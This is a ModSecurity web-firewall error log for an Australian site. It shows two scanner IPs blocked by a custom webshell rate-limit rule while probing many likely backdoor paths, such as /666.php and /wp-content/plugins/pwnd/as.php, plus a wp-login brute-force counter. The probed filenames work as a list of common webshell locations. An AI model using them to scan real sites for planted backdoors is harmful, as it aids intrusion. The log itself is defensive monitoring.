[Sat Apr 18 01:30:40.164742 2026] [:error] [pid 59042:tid 59056] [client 20.238.75.27:26077] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "aeJuQJ6p5oql0UklEBJSFQAAAAk"]
[Sat Apr 18 01:30:43.103751 2026] [:error] [pid 59042:tid 59065] [client 20.238.75.27:63641] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "aeJuQ56p5oql0UklEBJSGwAAABI"]
[Sat Apr 18 01:30:46.781641 2026] [:error] [pid 63702:tid 63737] [client 20.238.75.27:26098] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "aeJuRsTL05PWYsKqTEYS7QAAAUA"]
[Sat Apr 18 01:30:53.879336 2026] [:error] [pid 59042:tid 59049] [client 20.238.75.27:63623] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeJuTZ6p5oql0UklEBJSMQAAAAI"]
[Sat Apr 18 01:31:01.120493 2026] [:error] [pid 42442:tid 42445] [client 20.238.75.27:8862] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeJuVT4PBGqL_yqPJ8kv7QAAAQE"]
[Sat Apr 18 01:31:03.528402 2026] [:error] [pid 59136:tid 59151] [client 20.238.75.27:24264] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aeJuVyaoiUyiIR3EhLW8UAAAAMw"]
[Sat Apr 18 01:31:06.346044 2026] [:error] [pid 59044:tid 59118] [client 20.238.75.27:24301] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aeJuWgFamkFyEtD_SMHAlQAAAJE"]
[Sat Apr 18 01:31:07.993203 2026] [:error] [pid 59136:tid 59153] [client 20.238.75.27:61171] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aeJuWyaoiUyiIR3EhLW8VAAAAM4"]
[Sat Apr 18 01:31:11.097540 2026] [:error] [pid 42442:tid 42465] [client 20.238.75.27:28549] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "aeJuXz4PBGqL_yqPJ8kwBAAAARU"]
[Sat Apr 18 01:31:13.753917 2026] [:error] [pid 63702:tid 63758] [client 20.238.75.27:61218] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeJuYcTL05PWYsKqTEYTCgAAAVE"]
[Sat Apr 18 01:31:17.128364 2026] [:error] [pid 42442:tid 42453] [client 20.238.75.27:24286] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeJuZT4PBGqL_yqPJ8kwDwAAAQk"]
[Sat Apr 18 01:31:20.510333 2026] [:error] [pid 42442:tid 42467] [client 20.238.75.27:61190] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeJuaD4PBGqL_yqPJ8kwFQAAARc"]
[Sat Apr 18 01:31:21.632673 2026] [:error] [pid 42442:tid 42453] [client 20.238.75.27:28565] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeJuaT4PBGqL_yqPJ8kwGAAAAQk"]
[Sat Apr 18 01:31:22.424703 2026] [:error] [pid 59044:tid 59109] [client 20.238.75.27:61122] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeJuagFamkFyEtD_SMHAqAAAAIg"]
[Sat Apr 18 01:31:24.080665 2026] [:error] [pid 42442:tid 42451] [client 20.238.75.27:61145] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeJubD4PBGqL_yqPJ8kwIAAAAQc"]
[Sat Apr 18 01:31:25.188711 2026] [:error] [pid 42442:tid 42464] [client 20.238.75.27:24276] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeJubT4PBGqL_yqPJ8kwIwAAARQ"]
[Sat Apr 18 01:31:26.200088 2026] [:error] [pid 63702:tid 63744] [client 20.238.75.27:8882] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeJubsTL05PWYsKqTEYTGwAAAUU"]
[Sat Apr 18 01:31:27.001377 2026] [:error] [pid 42442:tid 42463] [client 20.238.75.27:63654] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeJubj4PBGqL_yqPJ8kwJQAAARM"]
[Sat Apr 18 01:31:28.329736 2026] [:error] [pid 42442:tid 42453] [client 20.238.75.27:26089] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeJucD4PBGqL_yqPJ8kwLQAAAQk"]
[Sat Apr 18 01:31:29.104662 2026] [:error] [pid 42442:tid 42452] [client 20.238.75.27:26110] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeJucT4PBGqL_yqPJ8kwMQAAAQg"]
[Sat Apr 18 01:31:29.766052 2026] [:error] [pid 63702:tid 63760] [client 20.238.75.27:61156] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeJuccTL05PWYsKqTEYTHQAAAVM"]
[Sat Apr 18 01:31:30.602315 2026] [:error] [pid 63702:tid 63745] [client 20.238.75.27:61881] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aeJucsTL05PWYsKqTEYTHwAAAUY"]
[Sat Apr 18 01:31:32.524809 2026] [:error] [pid 59042:tid 59061] [client 20.238.75.27:61187] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aeJudJ6p5oql0UklEBJSzAAAAA4"]
[Sat Apr 18 01:31:34.171125 2026] [:error] [pid 42442:tid 42454] [client 20.238.75.27:63643] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "aeJudj4PBGqL_yqPJ8kwOAAAAQo"]
[Sat Apr 18 01:35:14.209758 2026] [:error] [pid 59043:tid 59096] [client 20.238.75.27:63037] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeJvUoRtUGE9SfUh2wwVRAAAAFY"]
[Sat Apr 18 01:35:17.297347 2026] [:error] [pid 42442:tid 42454] [client 20.238.75.27:28612] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeJvVT4PBGqL_yqPJ8kyQQAAAQo"]
[Sat Apr 18 01:35:20.383847 2026] [:error] [pid 59043:tid 59089] [client 20.238.75.27:32086] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeJvWIRtUGE9SfUh2wwVUQAAAE8"]
[Sat Apr 18 01:35:23.852762 2026] [:error] [pid 59044:tid 59103] [client 20.238.75.27:28639] [client 20.238.75.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeJvWwFamkFyEtD_SMHBbgAAAII"]
[Sat Apr 18 02:37:03.687784 2026] [:error] [pid 63702:tid 63750] [client 51.120.90.220:24163] [client 51.120.90.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.120.90.220, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeJ9z8TL05PWYsKqTEYvngAAAUo"]
[Sat Apr 18 02:37:28.202558 2026] [:error] [pid 59042:tid 59057] [client 51.120.90.220:24144] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeJ96J6p5oql0UklEBJoRQAAAAo"]
[Sat Apr 18 02:37:28.862591 2026] [:error] [pid 42442:tid 42451] [client 51.120.90.220:23938] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeJ96D4PBGqL_yqPJ8lVwwAAAQc"]
[Sat Apr 18 02:37:29.514946 2026] [:error] [pid 42442:tid 42458] [client 51.120.90.220:24179] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeJ96T4PBGqL_yqPJ8lVygAAAQ4"]
[Sat Apr 18 02:37:30.136923 2026] [:error] [pid 59042:tid 59048] [client 51.120.90.220:24168] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeJ96p6p5oql0UklEBJoTAAAAAE"]
[Sat Apr 18 02:37:30.727347 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:24131] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeJ96sTL05PWYsKqTEYv_gAAAUM"]
[Sat Apr 18 02:37:31.340056 2026] [:error] [pid 59042:tid 59051] [client 51.120.90.220:24174] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeJ9656p5oql0UklEBJoVgAAAAQ"]
[Sat Apr 18 02:37:32.050891 2026] [:error] [pid 63702:tid 63760] [client 51.120.90.220:24142] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeJ97MTL05PWYsKqTEYwBAAAAVM"]
[Sat Apr 18 02:37:32.804917 2026] [:error] [pid 63702:tid 63757] [client 51.120.90.220:23937] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aeJ97MTL05PWYsKqTEYwCQAAAVA"]
[Sat Apr 18 02:37:33.486782 2026] [:error] [pid 59042:tid 59054] [client 51.120.90.220:8148] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeJ97Z6p5oql0UklEBJoXgAAAAc"]
[Sat Apr 18 02:37:34.565712 2026] [:error] [pid 42442:tid 42462] [client 51.120.90.220:24189] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeJ97j4PBGqL_yqPJ8lV0wAAARI"]
[Sat Apr 18 02:37:35.453890 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:24190] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeJ978TL05PWYsKqTEYwEgAAAUM"]
[Sat Apr 18 02:37:36.116532 2026] [:error] [pid 59044:tid 59119] [client 51.120.90.220:24156] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeJ98AFamkFyEtD_SMHR3QAAAJI"]
[Sat Apr 18 02:37:36.783347 2026] [:error] [pid 42442:tid 42445] [client 51.120.90.220:24173] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeJ98D4PBGqL_yqPJ8lV2QAAAQE"]
[Sat Apr 18 02:37:37.584273 2026] [:error] [pid 63702:tid 63740] [client 51.120.90.220:23941] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeJ98cTL05PWYsKqTEYwGAAAAUI"]
[Sat Apr 18 02:37:38.258415 2026] [:error] [pid 59044:tid 59116] [client 51.120.90.220:24170] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeJ98gFamkFyEtD_SMHR6QAAAI8"]
[Sat Apr 18 02:37:38.832186 2026] [:error] [pid 59044:tid 59105] [client 51.120.90.220:24175] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeJ98gFamkFyEtD_SMHR6gAAAIQ"]
[Sat Apr 18 02:37:39.429624 2026] [:error] [pid 59042:tid 59057] [client 51.120.90.220:23948] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeJ9856p5oql0UklEBJodgAAAAo"]
[Sat Apr 18 02:37:40.191613 2026] [:error] [pid 63702:tid 63761] [client 51.120.90.220:24128] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeJ99MTL05PWYsKqTEYwIQAAAVQ"]
[Sat Apr 18 02:37:40.828059 2026] [:error] [pid 59042:tid 59062] [client 51.120.90.220:23947] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeJ99J6p5oql0UklEBJoeQAAAA8"]
[Sat Apr 18 02:37:41.406265 2026] [:error] [pid 59136:tid 59163] [client 51.120.90.220:24185] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeJ99SaoiUyiIR3EhLXQywAAANg"]
[Sat Apr 18 02:37:41.989727 2026] [:error] [pid 59042:tid 59063] [client 51.120.90.220:23945] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeJ99Z6p5oql0UklEBJoewAAABA"]
[Sat Apr 18 02:37:42.650523 2026] [:error] [pid 59136:tid 59157] [client 51.120.90.220:23953] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeJ99iaoiUyiIR3EhLXQzwAAANI"]
[Sat Apr 18 02:37:43.279272 2026] [:error] [pid 63702:tid 63765] [client 51.120.90.220:24147] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeJ998TL05PWYsKqTEYwKwAAAVg"]
[Sat Apr 18 02:37:43.924876 2026] [:error] [pid 59042:tid 59065] [client 51.120.90.220:23976] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "aeJ9956p5oql0UklEBJohgAAABI"]
[Sat Apr 18 02:37:44.484461 2026] [:error] [pid 59042:tid 59060] [client 51.120.90.220:23943] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeJ9-J6p5oql0UklEBJoiAAAAA0"]
[Sat Apr 18 02:37:45.029771 2026] [:error] [pid 42442:tid 42455] [client 51.120.90.220:24149] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeJ9-T4PBGqL_yqPJ8lV9wAAAQs"]
[Sat Apr 18 02:37:45.757042 2026] [:error] [pid 42442:tid 42449] [client 51.120.90.220:24184] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeJ9-T4PBGqL_yqPJ8lWAgAAAQU"]
